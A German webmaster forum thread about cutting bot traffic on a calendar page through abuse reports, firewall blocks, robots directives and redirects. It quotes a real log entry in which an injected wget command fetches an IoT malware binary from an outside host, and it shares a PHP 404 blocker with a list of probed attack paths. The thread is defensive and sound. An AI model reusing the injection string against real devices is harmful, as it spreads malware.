Bei "eher vertrauenswürdigen" Besitzern der Server bzw. Inhabern der IPs (z.B. "your-server.de" zähle ich da mal mit) geht, sofern der Angriffsversuch eine gewisse Heftigkeit überschreitet, eine Nachricht mit Auszug aus den Logs an den Abuse.
Wenn die Logs wieder überschaubarer werden (weil die ellenlangen Listen nicht mehr so viele Kalender-Aufrufe durch die bots aufweisen), werde ich mich vielleicht auch mal etwas der Netz-Hygiene (Abuse-Meldungen) widmen.
Was wäre denn sinnvollerweise als "heftig" anzusehen? Ich meine, Abuse-Meldungen sollen ja ein scharfes Schwert bleiben, und nicht durch Kleinkram stumpf werden. Andererseits kann ich ja nicht wissen, ob meine einmal-in-der-Woche-für-10-Sekunden-Attacke nicht von einer 24-7-Schleuder kommt. Das weiß dann nur der Hoster der Schleuder.
Was wäre denn sinnvollerweise als "heftig" anzusehen? Ich meine, Abuse-Meldungen sollen ja ein scharfes Schwert bleiben, und nicht durch Kleinkram stumpf werden.
HTTP-Requests (Apache-logfile:)
xxx.xxx.xxx.xxx - - [14/Jan/2020:04:16:16 +0000] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7;" 400 0 "-" "-"
Das ist ein Versuch so ein stark fehlerhaftes IoT-Dingens dazu zu bewegen, Schadsoftware aus dem Web zu laden. „switchnet.net“ hostete offenbar nur diese und ähnliche Schadsoftware und ging nach meinem fundierten Hinweis (mit Virenscan der Datei „hoho.arm7“) vom Netz. Merkwürdigerweise kommen immer noch solche Requests. Offenbar waren die Hacker teils erfolgreich. Die anonymsierte IP stammt meist von DSL- oder Kabelanschlüssen.
Heftig war es auch, als in Vor-DSL-Zeiten ein Trottel mit Nessus auf meinem Mailformular herumhackte und ich dann 2000 sinnlose Mails bekam. Ich habe damals immerhin gelernt, wie man in einer Bash eine for-Schleife schreibt und 2000 Mails via POP3-Protokoll löscht...
Nicht heftig war hingegen der Angriff des „größten Full-Service-Dienstleister in NRW“, weil bei dem außer der Schnauze gar nicht groß ist. Insbesonders an Hirn mangelte es den Burschen - die benutzten a) die eigene statische IP und versuchten ein Kommentarformular anzugreifen. Kommentare lässt sich ja niemand nach Hause schicken und die werden stets gleich veröffentlicht… Da half auch kein Abuse, aber das Amtsgericht Düsseldorf mit einer einstweiligen Verfügung. (52 C 15528/10)
Heftiger war die echte DDoS-Attacke anno 2008, den ich auf die Bande um den früheren „Abmahnanwalt“ GvG zurückführe. Kriminelle Kreise halt.
Damals habe ich allerdings gelernt, dass es bei solchen Angreifern mit viel Geld aber sehr stark begrenzten geistigen Ressourcen völlig ausreicht seinen Webkram a) schlank zu halten und b) serverseitig zu cachen. Das Cachen habe ich richtig gut im Griff.
Getestet wird das Vorhandensein bestimmter Ordner zB von Wordpress-Installationen. … ist jedenfalls nicht "zufällig" von einem unbeabsichtigt schlecht programmierten Rechner losgetreten worden.
Das, was Du da zeigts habe ich auch, der steuernde Client (benutzt wird dann wget oder curl, der „UserAgent“ in den Headern ist „gefälscht“) wird wohl in den meisten Fällen Nessus sein. Dieses Sicherheitstool, welches Admins beim Erkennen von Problemen auf den eigenen Servern helfen soll, wird nämlich auch von Kriminellen genutzt. Eben um Lücken zu finden.
Und das ist das interessante:
Ich lasse alle 404er (Not Found) durch ein sehr schnelles Skript analysieren, ob es einer der bekannten Tests oder ein unwillkommener Bot ist. Wenn das zutrifft und die IP oder der Hostname des Clints nicht auf einer Sperrliste (Google, Bing, ...) steht, dann gehts es ab nach .htaccess (beim Hoster) oder in die Firewall (@home).
Was jetzt die Rechenzentren betrifft, die sperre ich dennoch komplett. Ich sehe nicht viel Grund für einen Rechner in einem Rechenzentrum, meine Webseiten abholen zu wollen. Und die IPs, die irgend eine API-Ressouce bei mir lesen - naja die kenne ich. China? Vietnam? Fullblock! Denn kein Chinese interessiert sich ernsthaft für meinen Kram.
Wer jetzt Gast in einer der ganz wenigen Einrichtungen ist, die bei einem bestimmten WLAN-Anbieter kaufte (der nach eigenem Bekunden ebenfalls vom ersten Tag an „der größte“ war - was im Hinblick auf Besitzer und Geschäftsführer der Düsseldorfer GmbH nicht wundert (siehe oben), der hat eben Pech wenn seine Zugriffe über das sehr bulgarische „Rechenzentrum“ in einem Plovdiver Geschäftshaus laufen und kann meine Webseiten dann eben auch nicht sehen.
Den Rest killt fail2ban nebst mod_evasive. Wenn es schlimmer kommen sollte, dann kümmern sich die Hoster oder Internetprovider darum und unterbinden das Routing bzw. Level-3-Switching. Die zahlen nämlich auch den Traffic.
Wenn die Logs wieder überschaubarer werden (weil die ellenlangen Listen nicht mehr so viele Kalender-Aufrufe durch die bots aufweisen),
Oh. Naja. Ich habe zwar nur den grünen Gürtel, halte mich aber sicherlich nicht ganz grundlos für einen guten Benutzer von schlanken und schnellen Tools wie grep, cut, wc, awk und Pipes… PHP macht dann nur noch den kleinen Rest - Die angebene Zeit ist die Gesamtzeit, das Zeug rennt auf einem Raspi.
Danke für die sehr interessanten Ausführungen.
Der Vorteil meiner Seite ist, dass der Verkehr sehr überschaubar ist. Für "schlanken Webkram" bin ich auch sehr zu haben, aber Cachen von Content dürfte bei mir vorerst nicht nötig sein. Meine Seiten benötigen selbst bei einem Hürdenlauf über mehrere Skripte im abgesicherten Bereich immer noch deutlich unter einer halben Sekunde, 200 ms sind in etwa normal.
Die Spuren von Angriffen, die Dritte betreffen können, habe ich bei mir noch nicht gesehen (außer indirekt, wenn nach den Lücken bestimmeter Installationen gesucht wird).
Während ich abwarte, wie sich der Suchmaschinenverkehr auf meiner Seite entwickelt, bastle ich weiter an der Erkennung unerwünschter Besuche.
Es ist teilweise schon unverholen dreist, was da zu finden ist. Heute morgen zB. ein XSS-Test durch JS im URL. Ursprung: googleusercontent.com
Wenn da mehr gekommen wäre (oder noch kommt), würde ich schon über eine abuse-Meldung nachdenken.
Du musst ja das Rad nicht neu erfinden...
In der 404.php musst Du die Zeilen
$cmd = '/usr/bin/sudo /usr/sbin/fwblock4time ' . $_SERVER['REMOTE_ADDR'] . ' ' . $blocktime . ' 1>/dev/null 2>/dev/null; echo $? | tail -n1';
$result = intval(`$cmd`);
auswechseln, wenn Du keine Root-Rechte hast oder fwblock4time nicht benutzen willst oder kannst. Füge dann ein require not $IP an die .htaccess an (Ich hoffe sowas darfst Du) und bau Dir was mit at um diese wieder los zu werden. (grep -v könnte helfen.)
404.php (in .htaccess als Fehlerseite einrichten)
<?php
$noblocks = [
'192.168.1.',
'127.'
];
$noblocks[] = trim( `LANG=C host "home.fastix.org" | tail -n1 | cut -d ' ' -f4` );
$blocktime = 60; # Minuten
if ( empty( $_SERVER['REMOTE_ADDR'] ) ) {
echo __FILE__ . " executed in CLI: Nothing to do." . PHP_EOL;
exit;
}
foreach ( $noblocks as $noblock ) {
if ( 0 === strpos( $_SERVER['REMOTE_ADDR'], $noblock ) ) {
error404();
exit;
}
}
$flagFound = false;
include '404_angriffe.php';
$haystack = strtolower( $_SERVER['REQUEST_URI'] );
foreach ( $angriffe as $s ) {
$needle = strtolower( trim( $s ) );
if ( $needle && false !== strpos( $haystack, $needle ) ) {
$flagFound = true;
break;
}
}
if ( $flagFound ) {
$cmd = '/usr/bin/sudo /usr/sbin/fwblock4time ' . $_SERVER['REMOTE_ADDR'] . ' ' . $blocktime . ' 1>/dev/null 2>/dev/null; echo $? | tail -n1';
$result = intval(`$cmd`);
if ( 0 == $result ) {
error_log('Angriffsversuch: ' . $_SERVER['REMOTE_ADDR'] . " wurde fuer $blocktime Minuten in der Firewall blockiert.");
} else {
error_log( "Error $result from execute $cmd" );
}
iLoveSkriptKiddies();
exit;
} else {
error404();
exit;
}
function error404( $logentry=false, $exit=true ) {
if ( headers_sent() ) {
trigger_error('Es kann kein Status 404 gesendet werden, weil zuvor Daten gesendet wurden.', E_USER_ERROR);
} else {
ob_end_clean();
http_response_code( 404 );
?>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<h1>Not Found</h1>
<p>The requested URL <?=htmlspecialchars(urldecode($_SERVER['REQUEST_URI']))?> was not found on this server.</p>
<hr>
<address><?=$_SERVER['SERVER_SOFTWARE']?> Server at <?=htmlspecialchars($_SERVER['HTTP_HOST'])?> Port <?=htmlspecialchars($_SERVER['SERVER_PORT'])?></address>
</body>
</html>
<?php
}
if ( $logentry ) {
error_log( $logentry );
}
if ( $exit ) {
exit;
} else {
return true;
}
}
function iLoveSkriptKiddies() {
http_response_code( 403 );
header ("content-type:image/svg+xml");
echo '<svg ... /></svg>
';
}
404_angriffe.php: (Verlangt natürlich immer mal nach Pflege...)
<?php
$angriffe=explode(
"\n",
'/.
../../../
/_asterix/
/a2billing/
/adm/
/admin/
/administrator.php
/App.php
/backup/
/cgi-bin/
/composer.php
/data.php
/db/
/dbadmin
/db.init.php
/db.php
/db_pma.php
/dmpr/
/drupal.php
/editor.php
/entropysearch.cgi
/etc/
/horde/
/ip.php
/login.cgi
/manager/
/msd/
/muhstik/
/mx.php
/myadmin/
/MyAdmin/
/myadmin2/
/mysql
/mysql/
/mysql_admin/
/mysql-admin/
/mysqladmin/
/mysqldump
/mysqldumper/
/mysqlmanager/
/mysql.php
/noxdir/
/phpadmin/
/phpma/
/phpmy/
/phpmyadmin/
/phppma/
/pma/
/pma2/
/proxyheader.php
/setup.php
/shell.php
/solstice
/spider.php
/sqlmanager/
/sqlweb/
/status/
/system.php
/thinkphp
/tomcat.php
/toor.php
/TP/
/thinkphp/
/typo3/
/uploadify.php
/vhcs/
/vhcs2/
/vtigercrm/
/w00tw00t.at.blackhats.romanian.anti-sec
/webcm
/webdav/
/webcapture.jpg
/websql/
/wlwmanifest.xml
/wp-admin/
/wp-admin.php
/wp-config.php
/wp-content/
/wp-includes/
/wp-login.php
/xampp/
/xmlrpc.php
HelloThinkPHP
voip.cfg
');
Ja ... und das SVG in der dritten Zeile von unten solltest Du für Deine Skriptkiddies auch selbst aussuchen oder halt was ganz anderes oder nichts senden.
Danke für die Vorschläge.
Tatsächlich erfinde ich das Rad öfter mal neu, wobei bisweilen unkonventionelle Lösungen herauskommen. Auf den Einsatz von Plugins verzichte ich nach Möglichkeit. In der Vergangenheit bin ich damit ganz gut gefahren. Kein Flash, kein JS, kein social media-Gedöns, keine Cookies... - kann viel Ärger und Arbeit ersparen.
Der Nachteil ist, dass ich bei solchen Einzelkämpfer-Insellösungen ganze Bereiche überhaupt nicht im Blick habe - so wie jetzt eben der riesige Anteil der bots am Verkehr auf meiner Seite. Oder dass ich ganze simple Dinge übersehe. Wie zum Beispiel, dass nach der Umleitung für Fehlerseiten in der .htaccess auf eine Errorpage im Header der Statuscode 200 OK gesendet wurde anstelle eines zB. 404.
Das ist längst gefixt - und jetzt sehe ich die "SkriptKiddies"-Lösung, die den content-type im Header gleich auf svg setzt. Ich habe das bei mir in HTML eingebettet ausgeliefert, aber als pures SVG ist das viel eleganter.
Danke für Eure zahlreichen Antworten, ich hänge mich mal hier ein.
meine erste Frage ist:
Hast Du eine offene Zielgruppe, oder eine geschlossene?
Im zweiten Fall kämem die Zugriffe ja sowieso nur bis zur Zugriffskontrolle/Authorisation und dann zum Dispatcher.
Beides. Ich habe ca. 30 registrierte Nutzer, die Services hinter einem Login nutzen. Dieser Bereich ist auch nicht betroffen. Dies gilt nur für den öffentlichen Bereich.
meine zweite Frage:
wieviele ordentliche Zugriffe™ hättest Du schätzungsweise noch, wenn Du die Bots total aussperren würdest? Gemeint ist: woher kennen die ordentlichen™ Besucher deine Seite?
Ordentliche Zugriffe bewegen sich in der Größenordnung von bis zu 1000 Besuchern im Monat. Die Seite ist fast ausschließlich regional interessant, und deren URL ist über einen alternativen Printweg bekannt. Die Zugriffszahl würde sich nur aus Bequemlichkeitsgründen (nicht gebookmarkte Startseite) verringern.
dritte Frage:
Wie sieht dein Marketingplan (Pos: Kommunikation) aus?
Nun, Marketing klingt sehr nach (kommerziellem) Business. Die Seite ist allerdings eher als zusätzlicher Digitalkanal aufzufassen, was den öffentlichen Bereich anbelangt. Für die zugriffsbeschränkten Dienste gilt dies nicht, aber deren Benutzer sind allesamt mit vollständigen Daten bekannte Pflichtmitglieder. Tatsächlich ist dies der Bereich, der von DoS-Angriffen oder anderer Serverüberlastung am schmerzlichsten betroffen wäre.
Lösungsideen
Wenn Du nur eine geschlossene Zugriffsgruppe bedienen willst, schreibe ein Log für Fehlversuche. Dieses kannst Du dann bei
fail2bananmelden. Somit würden mehrfache Fehlversuche über die IP unterbunden. (Achtung: dies ist nur ein statistisches, also prozentual fehlerträchtiges Mittel). Eine Stufe schärfer wäre dann noch die Einrichtung des Filters "recidive" fürfail2ban. Damit könntest Du Mehrfach-Mehrfach-Verletzer (sic!) für längere Zeit bis dauerhaft aussperren.Ad Infinitum fürde dies dann zum LAN bzw. Einzelplatz führen.
Tatsächlich habe ich eine Art Fehlersystem implementiert, ursprünglich als Ersatz für fehlende Rückmeldungen. Da die Aufrufszahlen in der Vergangenheit überschaubar waren, konnte ich das mit einzelnen Emails lösen. Ich habe dafür an mehreren Stellen Kontrollmöglichkeiten. Beispielsweise ein Skript, das auf den Aufruf einer Errorpage reagiert. An anderer Stelle habe ich einen Zähler, der ursprünglich die administrativ genutzten IP's aus der Zählung heraushalten sollte.
Theoretisch könnte ich ohne Verluste eine sehr restriktive Zugangskontrolle einführen, aber um diesen Aufwand zu betreiben (Geo-IP-basierte Sperren, vielleicht sogar "unsichtbare" Authentifizierungen via permanentem Cookie oder datenschutzrechtlichem Teufelszeug - Stichwort tracking), bin ich noch nicht wütend genug, um es mal salopp auszudrücken.
Web bedeutet teilen
Der philosophische Ansatz des WWW bedeutet aber teilen!
Durchaus ein Grund, nicht den "einfachen Weg" zu wählen.
Gegen teilen habe ich nichts einzuwenden. Außer, wenn das Teilen bedeutet, dass jedes erwünschte Teil von mehr als tausend fast sinnfreien beiseite gedrückt wird. Noch ist es nicht bedrohlich - aber ich habe auch etwas gegen Verschwendung, und 0,1% Nutzen sind nicht sinnvoll, vom Stromverbrauch ganz abgesehen.
Überlege also genau, welche Informationen für welche Zielgruppe frei verfügbar sein sollen und richte den Server und den Host (z. B. mit Logging und
fail2ban) dafür gezielt ein.Prinzip
Das Prinzip dahinter ist aber die passende (Ent)schichtung der Aufgaben. Eine PHP-Applikation könnte zwar alle Schichten bedienen, sollte dies aber nicht tun.
Glück Auf
Tom vom Berg
Ich möchte eigentlich so einfach wie möglich vorgehen. Einfach nicht im Sinne von: mir wenig Arbeit machen - dann könnte ich ein IP-Filterpaket einschleifen oder dies einem professionellem Anbieter überlassen - sondern mehr im Sinne von sparsam.
Und da der Googlebot zu den kooperativen gehört, suche ich erstmal auch nach Methoden, die genau das beherzigen.
Ich habe mir jetzt eine Strategie überlegt, wie dies gehen könnte.
Ich möchte, dass meine Seite weiterhin von Suchmaschinen gelistet wird. Ich habe auch nichts dagegen, wenn der Kalender in seiner Grundeinstellung (eine Woche Vorschau mit allen Veranstaltungen) dort gelistet wird. Allerdings sehe ich nicht ein, warum ich einem solchem Anbieter meine Daten bei Updates aktiv zur Verfügung stellen sollte. Abgesehen davon kocht jeder Anbieter sein eigenes Süppchen. Google hat seinen Zugang, Bing möchte das ebenfalls... Selbst wenn ich beispielsweise den Wunsch äußern könnte, meine Seite nur einmal täglich zu überprüfen, sehe ich das nicht ein. Ich habe keine Suchmaschine darum gebeten, meine Seiten zu listen. Wer sich benimmt, darf wiederkommen. Wer nicht, fliegt.
Aber die Zahl der Abrufe ist zu hoch. In meinem Fall kommen diese wohl dadurch zustande, dass ich auf der Kalender-Seite zur Einstellung der Parameter Links verwende, die diese mit Parametern aufrufen. Das gilt es zu verhindern.
Ich schreibe auf der (nicht im URL parametrisierten) Kalenderseite
<meta name="robots" content="nofollow"/>
und verhindere damit (hoffentlich), dass den Links (mit Parametern) gefolgt wird. Die Seite selbst wird mit Inhalt indiziert.
Außerdem frage ich vor dem Ausliefern der Seite ab, ob Parameter im URL vorhanden sind. Ist dies der Fall, ersetze ich obige Zeile durch
<meta name="robots" content="noindex, nofollow"/>
mit dem Ziel , dass Parameter-beladene Seiten nicht mehr indiziert werden und so in Kombination mit dem nofollow aus dem Index verschwinden werden.
Wenn das nicht funktioniert, muss ich mir etwas anderes ausdenken.
ich betreibe eine nicht-kommerzielle Webseite, die monatlich sechsstellige Zugriffszahlen hat. Aber leider nicht annähernd so viele Besucher, die sind eher im niedrigen dreistelligen Bereich.
Ganz grundsätzlich vorweg: Du solltest dir überlegen, was dich eigentlich genau stört. Sechsstellige Zugriffszahlen sollten für sich alleine jedenfalls kein Problem sein.
Ein Problem wäre es hingegen beispielsweise, falls der Server in die Knie geht oder dein Vertrag die Datenmengen nicht abdeckt.
Eine der Ursachen ist die überbordende Abfrage eines Veranstaltungskalenders durch Bots, hauptsächlich durch den GoogleBot. Der öffentlich zugängliche Bereich (mit dem Kalender) kommt ohne JS und Cookies aus, so dass ich die Parameter für den Kalender (Zeitraum, regionale und thematische Filter) im URL an das ausliefernde php-Skript liefere. Und leider variieren die Bots mittlerweile die verschiedenen Möglichkeiten, diese Parameter einzustellen - mit der Folge, dass zahlreiche Varianten abgefragt werden.
Ich könnte beispielsweise - nur bei Anfragen mit über die Standardeinstellung hinausgehenden Parametern - in der .htaccess ein
Header set X-Robots-Tag "noindex, nofollow"verwenden.
Eine Seite, die sich selbst mit noindex versieht, landet zwar nicht im Index, wird aber nach wie vor abgerufen. Dein Problem bestünde also zumindest in Teilen nach wie vor.
Manche Suchmaschinen (einschließlich Google) unterstützen Platzhalter in der robots.txt, namentlich das Sternchen (beliebige Zeichen) und das Dollarzeichen (Ende des Pfades), siehe https://developers.google.com/search/reference/robots_txt#auf-pfadwerten-basierende-url-%C3%BCbereinstimmung
Angenommen, deine Kalender-URLs folgen dem Beispiel "/kalender/?monat=januar", kannst du mit der Zeile "Disallow: /kalender/$" sämtliche Seiten innerhalb des Kalenders vom Abruf ausschließen, während seine Hauptseite unbeschadet bleibt.
Du könntest dir zusätzlich überlegen, ob du einen Teil der Parameter in den eigentlichen Pfad übernimmst, etwa /kalender/2020/januar/ statt kalender/?monat=januar&jahr=2020. Du nimmst den Bots damit die Möglichkeit zu variieren und die Seiten landen ohne Aufwand im Index.
Dein Skript stünde weiterhin unter /kalender/index.php, die anhängenden Pfadteile 2020 und januar bekommst du über die Variable PATH_INFO geliefert. Die Option muss eventuell im Server eingeschaltet werden (Apache: AcceptPathInfo). Näheres unter https://www.php.net/manual/de/reserved.variables.server.php (nach PATH_INFO suchen) und http://httpd.apache.org/docs/2.4/mod/core.html#acceptpathinfo
Ganz grundsätzlich vorweg: Du solltest dir überlegen, was dich eigentlich genau stört. Sechsstellige Zugriffszahlen sollten für sich alleine jedenfalls kein Problem sein.
Die Zugriffszahlen stellen auch kein Problem dar. Die Fragestellung ist eher akademischer Natur, aber praxisnah.
Wenn nur 1 Promille der Zugriffe die erwünschten Besucher erreicht, dann läuft schon etwas schief. Jeder Zugriff kostet Strom, und das global nicht zu knapp.
Eine Seite, die sich selbst mit noindex versieht, landet zwar nicht im Index, wird aber nach wie vor abgerufen. Dein Problem bestünde also zumindest in Teilen nach wie vor.
Meine Hoffnung ist ja, dass der Botbetreiber darauf kommt, dass er Seiten, die er nicht indizieren soll, nicht mehr oder nicht mehr so oft abfragt.
Erfüllt sich meine Hoffnung nicht, werde ich wohl tatsächlich einen Zaun hochziehen. 403 für den Googlebot. Oder im Verdachtsfall ein Captcha.
Der Vorschlag, dem URL-Aufbau eine Pseudo-Ordnerhierarchie zu verpassen, gefällt mir. Allerdings ist es nicht ganz so einfach, denn der Zeitraum wird aus dem augenblicklichen Datum berechnet, Veranstaltungsorte und Themenbereiche (eigentlich Tags für die einzelnen Veranstaltungen) sind beliebig kombinierbar. Aber machbar wäre es. Danke jedenfalls für den Hinweis!
Hallo
Wenn nur 1 Promille der Zugriffe die erwünschten Besucher erreicht, dann läuft schon etwas schief.
Nach deiner vorherigen Beschreibung stimmt das so ja nicht. Es ist ja nicht so, dass wegen der Aufrufe von Bots die „erwünschten Besucher“ von den verfügbaren Daten nichts mehr abbekommen sondern wohl eher so, dass das Verhältnis der Requests von Bots und „erwünschten Besuchern“ 999 zu 1 beträgt.
Tschö, Auge
Nach deiner vorherigen Beschreibung stimmt das so ja nicht. Es ist ja nicht so, dass wegen der Aufrufe von Bots die „erwünschten Besucher“ von den verfügbaren Daten nichts mehr abbekommen sondern wohl eher so, dass das Verhältnis der Requests von Bots und „erwünschten Besuchern“ 999 zu 1 beträgt.
Korrekt - es findet keine Verdrängung statt. Die Quote wird sogar noch etwas besser, wenn man berücksichtigt, dass nicht alle Bots nur Unsinn machen. Im Index aufzutauchen, ist ja durchaus erwünscht. Und dass dynamischer Inhalt auch öfter gecrawlt werden muss als statischer, ist auch klar.
Ich habe meine Vorgehensweise jetzt geändert.
Die Kalenderseite hat ein nofollow erhalten, die Kalenderseite mit Parametern ein zusätzliches noindex.
Jeder Besucher der Kalenderseite, der sich zukünftig als bingbot oder Googlebot ausgibt und dabei die zusätzlichen Parameter im URL mit sich führt, wird per freundlichem 301-redirect auf die parameterlose Kalenderseite geleitet.
Hält sich Google an seine eigenen Vorgaben, sollte im Index dann nur noch die parameterfreie Version gelistet werden.
Google selbst nennt die 301 als Empfehlung für umgezogene Seiten; auch wenn das hier nicht zutifft, lässt sich dieser Mechanismus hierfür nutzen.
Hallo
Ich habe meine Vorgehensweise jetzt geändert.
Die Kalenderseite hat ein
nofollowerhalten, die Kalenderseite mit Parametern ein zusätzlichesnoindex.Jeder Besucher der Kalenderseite, der sich zukünftig als bingbot oder Googlebot ausgibt und dabei die zusätzlichen Parameter im URL mit sich führt, wird per freundlichem 301-redirect auf die parameterlose Kalenderseite geleitet.
Hält sich Google an seine eigenen Vorgaben, sollte im Index dann nur noch die parameterfreie Version gelistet werden.
Ich bin ja gespannt, wieviel das bringt. Berichte doch mal nach ein oder zwei Wochen, was sich an den Zugriffen geändert hat.
Tschö, Auge
Leider hat mein Vorgehen wenig geändert.
Ich nehme an, der Grund hierfür ist, dass auch der Seitenname als Parameter - nämlich =kalender - übertragen wird. Der Gedanke ist mir gekommen, als ein weiterer bot die Seite gecrawlt hat und dabei die Parameter anders angeordnet hat, sodass der Seitenname nicht als erster Parameter auftauchte.
Den Abruf
example.com/content.php?page=kalender&p1=x&p2=y&p3=z
für robots per 301 umzuleiten nach
example.com/content.php?page=kalender
funktioniert offenbar leider nicht.
Ich glaube, dass die Robots feststellen, dass die alten Links noch funktionieren, dass eine Umleitung auf die Grundversion vorhanden und (manchmal) erlaubt ist, dass sie aber nicht dazu in der Lage sind, zu unterscheiden, dass bestimmte Parameter für sie verboten werden. Wenn ich davon ausgehe, dass also die erste Indizierung der Seite letztlich der Grund für die späteren Überprüfungen sind, muss ich die Seite aus dem Index verschwinden lassen.
Was mache ich jetzt?
Die Seite rausnehmen und "neu" durch example.com/content.php?page=kalendarium&p1=x&p2=y&p3=z ersetzen? Dann mit dem meta noindex, falls sie mit Parametern außer dem Seitennamen aufgerufen wird?
Dann wäre die Seite neu und die alten Links tot. Nachteil wäre, dass auf die alte Seite gesetzte Bookmarks ungültig werden und die neue Seite auch nicht gleich in den Suchindizes auftaucht (was beides keine Katastrophe wäre).
Nachtrag: kaum geschrieben, schon zu korrigieren. Seit 1. Februar hält sich der Googlebot stark zurück. Nr. 1 der Liste ist jetzt der Bingbot. Vielleicht braucht der noch ein paar Tage länger.
Nachtrag2: Das gilt aber nur für die vom Provider gelieferte Statistik... Und das heißt, für ausgelieferte Seiten und nicht die ganzen Anfragen mit Umleitung, die dann nicht abgefragt werden - so erklärt sich das Überholen des Bingbots.